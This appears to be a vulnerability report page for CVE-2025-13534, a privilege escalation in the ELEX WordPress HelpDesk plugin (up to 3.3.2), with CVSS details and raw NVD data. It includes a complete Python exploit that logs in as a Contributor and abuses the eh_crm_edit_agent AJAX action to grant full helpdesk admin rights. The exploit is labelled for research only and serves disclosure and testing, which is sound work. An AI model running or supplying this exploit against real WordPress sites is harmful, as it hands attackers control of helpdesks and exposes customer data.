Security Vulnerability Report
中文
CVE-2025-13534 CVSS 6.3 MEDIUM

CVE-2025-13534

Published: 2025-12-02 09:15:47
Last Modified: 2025-12-04 18:04:49

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.3.2. This is due to missing authorization checks on the eh_crm_edit_agent AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WSDesk privileges from limited "Reply Tickets" permissions to full helpdesk administrator capabilities, gaining unauthorized access to ticket management, settings configuration, agent administration, and sensitive customer data.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13534 PoC - ELEX WordPress HelpDesk Privilege Escalation # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.2 def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit the missing authorization check on eh_crm_edit_agent AJAX action. This allows authenticated users with Contributor+ role to escalate privileges. Args: target_url: Base URL of the WordPress site username: WordPress username (Contributor role or higher) password: WordPress password target_user_id: Target user ID to escalate (default: 1 for admin) """ session = requests.Session() login_url = f"{target_url}/wp-login.php" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Exploit privilege escalation via eh_crm_edit_agent exploit_data = { 'action': 'eh_crm_edit_agent', 'user_id': target_user_id, 'role': 'admin', 'name': 'Helpdesk Admin', 'email': '[email protected]', 'ticket_per': 'all', 'canned_per': 'all', 'canned_create': 'yes', 'canned_delete': 'yes', 'setting_per': 'all', 'agent_per': 'all' } print(f"[*] Exploiting privilege escalation for user ID {target_user_id}...") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {response.text}") print("[+] Target user should now have full helpdesk admin privileges.") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [target_user_id]") print("Example: python exploit.py http://localhost admin contributor 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] tid = int(sys.argv[4]) if len(sys.argv) > 4 else 1 exploit_privilege_escalation(target, user, pwd, tid)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13534", "sourceIdentifier": "[email protected]", "published": "2025-12-02T09:15:47.380", "lastModified": "2025-12-04T18:04:48.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.3.2. This is due to missing authorization checks on the eh_crm_edit_agent AJAX action. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WSDesk privileges from limited \"Reply Tickets\" permissions to full helpdesk administrator capabilities, gaining unauthorized access to ticket management, settings configuration, agent administration, and sensitive customer data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.3", "matchCriteriaId": "0C437147-7804-4C8C-B300-A6E1A5D20E5D"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/tags/3.3.2/includes/class-crm-ajax-functions-two.php#L9", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-two.php#L9", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/stm-gallery/trunk/stmgallery_v.0.9.php#L121", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3541794b-7c8a-42f8-9688-7f3dbbb08e58?source=cve", "source": "[email protected]", "tags": ["Product", "Third Party Advisory"]}]}}